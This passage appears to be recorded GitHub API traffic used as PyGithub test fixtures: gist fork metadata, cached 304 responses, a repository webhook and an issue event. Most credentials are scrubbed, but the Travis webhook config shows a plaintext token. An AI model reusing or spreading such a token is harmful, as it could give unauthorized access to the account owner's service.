com/avatar/59eb80f68e015e725e9eeb90f24987b2?d=https%3A%2F%2Fidenticons.github.com%2F1d2591e0232d5734561c3c71252a2efa.png","gravatar_id":"59eb80f68e015e725e9eeb90f24987b2","url":"https://api.github.com/users/macalicious","html_url":"https://github.com/macalicious","followers_url":"https://api.github.com/users/macalicious/followers","following_url":"https://api.github.com/users/macalicious/following{/other_user}","gists_url":"https://api.github.com/users/macalicious/gists{/gist_id}","starred_url":"https://api.github.com/users/macalicious/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/macalicious/subscriptions","organizations_url":"https://api.github.com/users/macalicious/orgs","repos_url":"https://api.github.com/users/macalicious/repos","events_url":"https://api.github.com/users/macalicious/events{/privacy}","received_events_url":"https://api.github.com/users/macalicious/received_events","type":"User"},"id":"3958094","created_at":"2012-10-26T10:37:44Z","updated_at":"2012-10-26T10:37:44Z"},{"url":"https://api.github.com/gists/4362953","user":{"login":"dermesser","id":1042327,"avatar_url":"https://0.gravatar.com/avatar/1f99406671a26d17de4f0a52a41ad0c7?d=https%3A%2F%2Fidenticons.github.com%2F1b2f62f9f8f36eeb3c2a1ed42d1a2249.png","gravatar_id":"1f99406671a26d17de4f0a52a41ad0c7","url":"https://api.github.com/users/dermesser","html_url":"https://github.com/dermesser","followers_url":"https://api.github.com/users/dermesser/followers","following_url":"https://api.github.com/users/dermesser/following{/other_user}","gists_url":"https://api.github.com/users/dermesser/gists{/gist_id}","starred_url":"https://api.github.com/users/dermesser/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dermesser/subscriptions","organizations_url":"https://api.github.com/users/dermesser/orgs","repos_url":"https://api.github.com/users/dermesser/repos","events_url":"https://api.github.com/users/dermesser/events{/privacy}","received_events_url":"https://api.github.com/users/dermesser/received_events","type":"User"},"id":"4362953","created_at":"2012-12-23T11:04:08Z","updated_at":"2013-08-07T18:49:16Z"},{"url":"https://api.github.com/gists/4401093","user":{"login":"szalansky","id":323025,"avatar_url":"https://1.gravatar.com/avatar/b96196ac5b306a6f0d302dd9f82a24ee?d=https%3A%2F%2Fidenticons.github.com%2F6470274ac82665a71a91d36c419016ce.png","gravatar_id":"b96196ac5b306a6f0d302dd9f82a24ee","url":"https://api.github.com/users/szalansky","html_url":"https://github.com/szalansky","followers_url":"https://api.github.com/users/szalansky/followers","following_url":"https://api.github.com/users/szalansky/following{/other_user}","gists_url":"https://api.github.com/users/szalansky/gists{/gist_id}","starred_url":"https://api.github.com/users/szalansky/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/szalansky/subscriptions","organizations_url":"https://api.github.com/users/szalansky/orgs","repos_url":"https://api.github.com/users/szalansky/repos","events_url":"https://api.github.com/users/szalansky/events{/privacy}","received_events_url":"https://api.github.com/users/szalansky/received_events","type":"User"},"id":"4401093","created_at":"2012-12-28T19:28:03Z","updated_at":"2012-12-28T19:28:03Z"},{"url":"https://api.github.com/gists/4568476","user":{"login":"flomey","id":3226735,"avatar_url":"https://1.gravatar.com/avatar/3143afe043a2fdcd6a22a537e4cc3c8e?d=https%3A%2F%2Fidenticons.github.com%2F9271b5a509f2dabd1c5850acf684759c.png","gravatar_id":"3143afe043a2fdcd6a22a537e4cc3c8e","url":"https://api.github.com/users/flomey","html_url":"https://github.com/flomey","followers_url":"https://api.github.com/users/flomey/followers","following_url":"https://api.github.com/users/flomey/following{/other_user}","gists_url":"https://api.github.com/users/flomey/gists{/gist_id}","starred_url":"https://api.github.com/users/flomey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/flomey/subscriptions","organizations_url":"https://api.github.com/users/flomey/orgs","repos_url":"https://api.github.com/users/flomey/repos","events_url":"https://api.github.com/users/flomey/events{/privacy}","received_events_url":"https://api.github.com/users/flomey/received_events","type":"User"},"id":"4568476","created_at":"2013-01-18T20:59:25Z","updated_at":"2013-01-18T20:59:25Z"},{"url":"https://api.github.com/gists/4732801","user":{"login":"mhebing","id":905115,"avatar_url":"https://2.gravatar.com/avatar/14e2a01d187cb0a167942e24e9234f95?d=https%3A%2F%2Fidenticons.github.com%2Fb874dedd9bb70a549db142d519aa6648.png","gravatar_id":"14e2a01d187cb0a167942e24e9234f95","url":"https://api.github.com/users/mhebing","html_url":"https://github.com/mhebing","followers_url":"https://api.github.com/users/mhebing/followers","following_url":"https://api.github.com/users/mhebing/following{/other_user}","gists_url":"https://api.github.com/users/mhebing/gists{/gist_id}","starred_url":"https://api.github.com/users/mhebing/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mhebing/subscriptions","organizations_url":"https://api.github.com/users/mhebing/orgs","repos_url":"https://api.github.com/users/mhebing/repos","events_url":"https://api.github.com/users/mhebing/events{/privacy}","received_events_url":"https://api.github.com/users/mhebing/received_events","type":"User"},"id":"4732801","created_at":"2013-02-07T17:57:21Z","updated_at":"2013-02-07T17:59:53Z"},{"url":"https://api.github.com/gists/5074215","user":{"login":"fumingshih","id":171536,"avatar_url":"https://0.gravatar.com/avatar/cdaeda52c7e0e7db119ec242652a7eac?d=https%3A%2F%2Fidenticons.github.com%2Ff3daf33ead84c02b32d673addce28321.png","gravatar_id":"cdaeda52c7e0e7db119ec242652a7eac","url":"https://api.github.com/users/fumingshih","html_url":"https://github.com/fumingshih","followers_url":"https://api.github.com/users/fumingshih/followers","following_url":"https://api.github.com/users/fumingshih/following{/other_user}","gists_url":"https://api.github.com/users/fumingshih/gists{/gist_id}","starred_url":"https://api.github.com/users/fumingshih/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fumingshih/subscriptions","organizations_url":"https://api.github.com/users/fumingshih/orgs","repos_url":"https://api.github.com/users/fumingshih/repos","events_url":"https://api.github.com/users/fumingshih/events{/privacy}","received_events_url":"https://api.github.com/users/fumingshih/received_events","type":"User"},"id":"5074215","created_at":"2013-03-03T02:30:54Z","updated_at":"2013-03-03T02:30:54Z"},{"url":"https://api.github.com/gists/5126805","user":{"login":"xiddw","id":742519,"avatar_url":"https://2.gravatar.com/avatar/e3aea2d1cdb375467416bff41c614582?d=https%3A%2F%2Fidenticons.github.com%2Ffd082f32f1f9679671081ba58bb37459.png","gravatar_id":"e3aea2d1cdb375467416bff41c614582","url":"https://api.github.com/users/xiddw","html_url":"https://github.com/xiddw","followers_url":"https://api.github.com/users/xiddw/followers","following_url":"https://api.github.com/users/xiddw/following{/other_user}","gists_url":"https://api.github.com/users/xiddw/gists{/gist_id}","starred_url":"https://api.github.com/users/xiddw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/xiddw/subscriptions","organizations_url":"https://api.github.com/users/xiddw/orgs","repos_url":"https://api.github.com/users/xiddw/repos","events_url":"https://api.github.com/users/xiddw/events{/privacy}","received_events_url":"https://api.github.com/users/xiddw/received_events","type":"User"},"id":"5126805","created_at":"2013-03-10T02:21:30Z","updated_at":"2013-03-10T02:21:30Z"},{"url":"https://api.github.com/gists/5353918","user":{"login":"stared","id":1001610,"avatar_url":"https://2.gravatar.com/avatar/1b324e4900e79878eb518c1263b41795?d=https%3A%2F%2Fidenticons.github.com%2F031dfe1b6a9e475fa708179fb35beb3b.png","gravatar_id":"1b324e4900e79878eb518c1263b41795","url":"https://api.github.com/users/stared","html_url":"https://github.com/stared","followers_url":"https://api.github.com/users/stared/followers","following_url":"https://api.github.com/users/stared/following{/other_user}","gists_url":"https://api.github.com/users/stared/gists{/gist_id}","starred_url":"https://api.github.com/users/stared/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stared/subscriptions","organizations_url":"https://api.github.com/users/stared/orgs","repos_url":"https://api.github.com/users/stared/repos","events_url":"https://api.github.com/users/stared/events{/privacy}","received_events_url":"https://api.github.com/users/stared/received_events","type":"User"},"id":"5353918","created_at":"2013-04-10T11:42:03Z","updated_at":"2013-04-10T11:43:47Z"},{"url":"https://api.github.com/gists/5600181","user":{"login":"huashuai","id":256761,"avatar_url":"https://1.gravatar.com/avatar/279030da669c3950fc54dea37ee3109e?d=https%3A%2F%2Fidenticons.github.com%2Fc66590f0228b4de1b7d16d1b8f10161c.png","gravatar_id":"279030da669c3950fc54dea37ee3109e","url":"https://api.github.com/users/huashuai","html_url":"https://github.com/huashuai","followers_url":"https://api.github.com/users/huashuai/followers","following_url":"https://api.github.com/users/huashuai/following{/other_user}","gists_url":"https://api.github.com/users/huashuai/gists{/gist_id}","starred_url":"https://api.github.com/users/huashuai/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/huashuai/subscriptions","organizations_url":"https://api.github.com/users/huashuai/orgs","repos_url":"https://api.github.com/users/huashuai/repos","events_url":"https://api.github.com/users/huashuai/events{/privacy}","received_events_url":"https://api.github.com/users/huashuai/received_events","type":"User"},"id":"5600181","created_at":"2013-05-17T16:15:32Z","updated_at":"2013-05-17T16:15:32Z"},{"url":"https://api.github.com/gists/5639946","user":{"login":"simardcasanova","id":739940,"avatar_url":"https://0.gravatar.com/avatar/63c42221c8ed3dfc335a0d1b19397e36?d=https%3A%2F%2Fidenticons.github.com%2F819fcce6467f36e0beb6ffc69afa9f21.png","gravatar_id":"63c42221c8ed3dfc335a0d1b19397e36","url":"https://api.github.com/users/simardcasanova","html_url":"https://github.com/simardcasanova","followers_url":"https://api.github.com/users/simardcasanova/followers","following_url":"https://api.github.com/users/simardcasanova/following{/other_user}","gists_url":"https://api.github.com/users/simardcasanova/gists{/gist_id}","starred_url":"https://api.github.com/users/simardcasanova/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/simardcasanova/subscriptions","organizations_url":"https://api.github.com/users/simardcasanova/orgs","repos_url":"https://api.github.com/users/simardcasanova/repos","events_url":"https://api.github.com/users/simardcasanova/events{/privacy}","received_events_url":"https://api.github.com/users/simardcasanova/received_events","type":"User"},"id":"5639946","created_at":"2013-05-23T22:24:19Z","updated_at":"2013-05-23T22:24:57Z"},{"url":"https://api.github.com/gists/5965077","user":{"login":"habi","id":1651235,"avatar_url":"https://1.gravatar.com/avatar/4a0a820ba6c1996bc37d64ce14606ad4?d=https%3A%2F%2Fidenticons.github.com%2Fbaa3c8588d9ab73deea280466d5db7e1.png","gravatar_id":"4a0a820ba6c1996bc37d64ce14606ad4","url":"https://api.github.com/users/habi","html_url":"https://github.com/habi","followers_url":"https://api.github.com/users/habi/followers","following_url":"https://api.github.com/users/habi/following{/other_user}","gists_url":"https://api.github.com/users/habi/gists{/gist_id}","starred_url":"https://api.github.com/users/habi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/habi/subscriptions","organizations_url":"https://api.github.com/users/habi/orgs","repos_url":"https://api.github.com/users/habi/repos","events_url":"https://api.github.com/users/habi/events{/privacy}","received_events_url":"https://api.github.com/users/habi/received_events","type":"User"},"id":"5965077","created_at":"2013-07-10T09:57:15Z","updated_at":"2013-07-10T09:57:40Z"},{"url":"https://api.github.com/gists/6394053","user":{"login":"glaubius","id":5349064,"avatar_url":"https://0.gravatar.com/avatar/ff2451755814a23845b19551371bb026?d=https%3A%2F%2Fidenticons.github.com%2Faa59a5980a33a834ee55c9f386e7c996.png","gravatar_id":"ff2451755814a23845b19551371bb026","url":"https://api.github.com/users/glaubius","html_url":"https://github.com/glaubius","followers_url":"https://api.github.com/users/glaubius/followers","following_url":"https://api.github.com/users/glaubius/following{/other_user}","gists_url":"https://api.github.com/users/glaubius/gists{/gist_id}","starred_url":"https://api.github.com/users/glaubius/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/glaubius/subscriptions","organizations_url":"https://api.github.com/users/glaubius/orgs","repos_url":"https://api.github.com/users/glaubius/repos","events_url":"https://api.github.com/users/glaubius/events{/privacy}","received_events_url":"https://api.github.com/users/glaubius/received_events","type":"User"},"id":"6394053","created_at":"2013-08-30T20:39:05Z","updated_at":"2013-08-30T20:39:05Z"},{"url":"https://api.github.com/gists/6463518","user":{"login":"janten","id":1794407,"avatar_url":"https://2.gravatar.com/avatar/44f5d723bf2ef2dac40327bfa9815989?d=https%3A%2F%2Fidenticons.github.com%2Fe177a89b246259b7b5a84411923e6881.png","gravatar_id":"44f5d723bf2ef2dac40327bfa9815989","url":"https://api.github.com/users/janten","html_url":"https://github.com/janten","followers_url":"https://api.github.com/users/janten/followers","following_url":"https://api.github.com/users/janten/following{/other_user}","gists_url":"https://api.github.com/users/janten/gists{/gist_id}","starred_url":"https://api.github.com/users/janten/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/janten/subscriptions","organizations_url":"https://api.github.com/users/janten/orgs","repos_url":"https://api.github.com/users/janten/repos","events_url":"https://api.github.com/users/janten/events{/privacy}","received_events_url":"https://api.github.com/users/janten/received_events","type":"User"},"id":"6463518","created_at":"2013-09-06T13:04:58Z","updated_at":"2013-09-06T13:04:58Z"}],"history":[{"user":{"login":"kogakure","id":5535,"avatar_url":"https://0.gravatar.com/avatar/b53f98d49e275e8387897de02c92288d?d=https%3A%2F%2Fidenticons.github.com%2F7ec69dd44416c46745f6edd947b470cd.png","gravatar_id":"b53f98d49e275e8387897de02c92288d","url":"https://api.github.com/users/kogakure","html_url":"https://github.com/kogakure","followers_url":"https://api.github.com/users/kogakure/followers","following_url":"https://api.github.com/users/kogakure/following{/other_user}","gists_url":"https://api.github.com/users/kogakure/gists{/gist_id}","starred_url":"https://api.github.com/users/kogakure/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kogakure/subscriptions","organizations_url":"https://api.github.com/users/kogakure/orgs","repos_url":"https://api.github.com/users/kogakure/repos","events_url":"https://api.github.com/users/kogakure/events{/privacy}","received_events_url":"https://api.github.com/users/kogakure/received_events","type":"User"},"version":"3e0e8350f040f21811ceea13975086158ccae986","committed_at":"2010-06-25T06:52:37Z","change_status":{"total":3,"additions":2,"deletions":1},"url":"https://api.github.com/gists/149016/3e0e8350f040f21811ceea13975086158ccae986"},{"user":{"login":"kogakure","id":5535,"avatar_url":"https://0.gravatar.com/avatar/b53f98d49e275e8387897de02c92288d?d=https%3A%2F%2Fidenticons.github.com%2F7ec69dd44416c46745f6edd947b470cd.png","gravatar_id":"b53f98d49e275e8387897de02c92288d","url":"https://api.github.com/users/kogakure","html_url":"https://github.com/kogakure","followers_url":"https://api.github.com/users/kogakure/followers","following_url":"https://api.github.com/users/kogakure/following{/other_user}","gists_url":"https://api.github.com/users/kogakure/gists{/gist_id}","starred_url":"https://api.github.com/users/kogakure/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kogakure/subscriptions","organizations_url":"https://api.github.com/users/kogakure/orgs","repos_url":"https://api.github.com/users/kogakure/repos","events_url":"https://api.github.com/users/kogakure/events{/privacy}","received_events_url":"https://api.github.com/users/kogakure/received_events","type":"User"},"version":"a3ce60041fe20410fc55d141e77a25d26e1a562a","committed_at":"2009-07-17T11:37:43Z","change_status":{"total":22,"additions":22,"deletions":0},"url":"https://api.github.com/gists/149016/a3ce60041fe20410fc55d141e77a25d26e1a562a"}]} https GET api.github.com None /repos/jacquev6/PyGithub/git/blobs/681fb61f1761743a02f5c790f1c762cbfe8cfad1 {'If-None-Match': '"01162d231bc8dfd76e35f833ecebaa0e"', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4866'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'da1e9461-f849-4250-85c4-978c8e9e496d'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"01162d231bc8dfd76e35f833ecebaa0e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:11 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/git/commits/be37b8a7f3a68631c32672dcd84d9eba27438ee6 {'If-None-Match': '"b9013239d62338e81f6ec48bae78699e"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Thu, 22 Nov 2012 19:06:01 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4866'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '05667811-3080-4fb5-a32a-de8debc918ba'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Nov 2012 19:06:01 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"b9013239d62338e81f6ec48bae78699e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:12 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/git/refs/tags/v1.17.0 {'If-None-Match': '"feb5059cac897bdd13fd1205785f865c"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:41:05 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4866'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'd852d843-7bb6-4ffc-a4fb-55621588f819'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:05 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"feb5059cac897bdd13fd1205785f865c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:13 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/git/trees/6f7c2d8c66d78863f7b91792deaead619799a1ce {'If-None-Match': '"feb5059cac897bdd13fd1205785f865c"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:41:05 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4866'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '787d7bf1-e453-4694-87f6-bf3ed4855b87'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:05 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"feb5059cac897bdd13fd1205785f865c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:14 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/hooks/423574 {'If-None-Match': '"f7b3dbaaca94c0219f23e9021e78506f"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:41:06 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4866'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '40b5c72c-2017-43d7-9b3a-9f2531db400c'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:06 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"f7b3dbaaca94c0219f23e9021e78506f"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:15 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/hooks/423574 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4865'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '409e8b85-37ed-4244-b316-1824ddee228c'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '462'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:06 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"f7b3dbaaca94c0219f23e9021e78506f"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:21 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/423574","test_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/423574/test","id":423574,"name":"travis","active":true,"events":["push","pull_request","issue_comment","public","member"],"config":{"domain":"","token":"pJdnhcDq3dQ9Cr1J1znQ","user":"jacquev6"},"last_response":{"code":200,"status":"active","message":"OK"},"updated_at":"2013-09-06T12:41:06Z","created_at":"2012-09-16T07:14:29Z"} https GET api.github.com None /repos/jacquev6/PyGithub/issues/188 {'If-None-Match': '"654d1a29abe3a61b096e8bffbc61c162"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:51:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4865'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'e886b291-23e5-4d71-84d7-78bb6ce13206'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:22 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/issues/comments/22686536 {'If-None-Match': '"654d1a29abe3a61b096e8bffbc61c162"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:51:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4865'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'f9addbd4-bd0d-4978-8dae-6f91fd22763f'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:23 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/issues/events/60946408 {'If-None-Match': '"654d1a29abe3a61b096e8bffbc61c162"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:51:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4865'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'd0f0ed2b-5a02-4538-b7cb-79e35c27f985'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:24 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/issues/events/60946408 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4864'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '92278efc-1781-4b40-9fe4-112cf30d3d3f'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '5613'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:25 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"id":60946408,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/60946408","actor":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"event":"assigned","commit_id":null,"created_at":"2013-08-15T05:55:32Z","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/events","html_url":"https://github.com/jacquev6/PyGithub/issues/188","id":17736533,"number":188,"title":"Getting the status of GitHub","user":{"login":"ruxandraburtica","id":797922,"avatar_url":"https://0.gravatar.com/avatar/5703c5907fc67b679be40fd307b07733?d=https%3A%2F%2Fidenticons.github.com%2F470a720db37e19afad67c34e30ffcd85.png","gravatar_id":"5703c5907fc67b679be40fd307b07733","url":"https://api.github.com/users/ruxandraburtica","html_url":"https://github.com/ruxandraburtica","followers_url":"https://api.github.com/users/ruxandraburtica/followers","following_url":"https://api.github.com/users/ruxandraburtica/following{/other_user}","gists_url":"https://api.github.com/users/ruxandraburtica/gists{/gist_id}","starred_url":"https://api.github.com/users/ruxandraburtica/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ruxandraburtica/subscriptions","organizations_url":"https://api.github.com/users/ruxandraburtica/orgs","repos_url":"https://api.github.com/users/ruxandraburtica/repos","events_url":"https://api.github.com/users/ruxandraburtica/events{/privacy}","received_events_url":"https://api.github.com/users/ruxandraburtica/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by 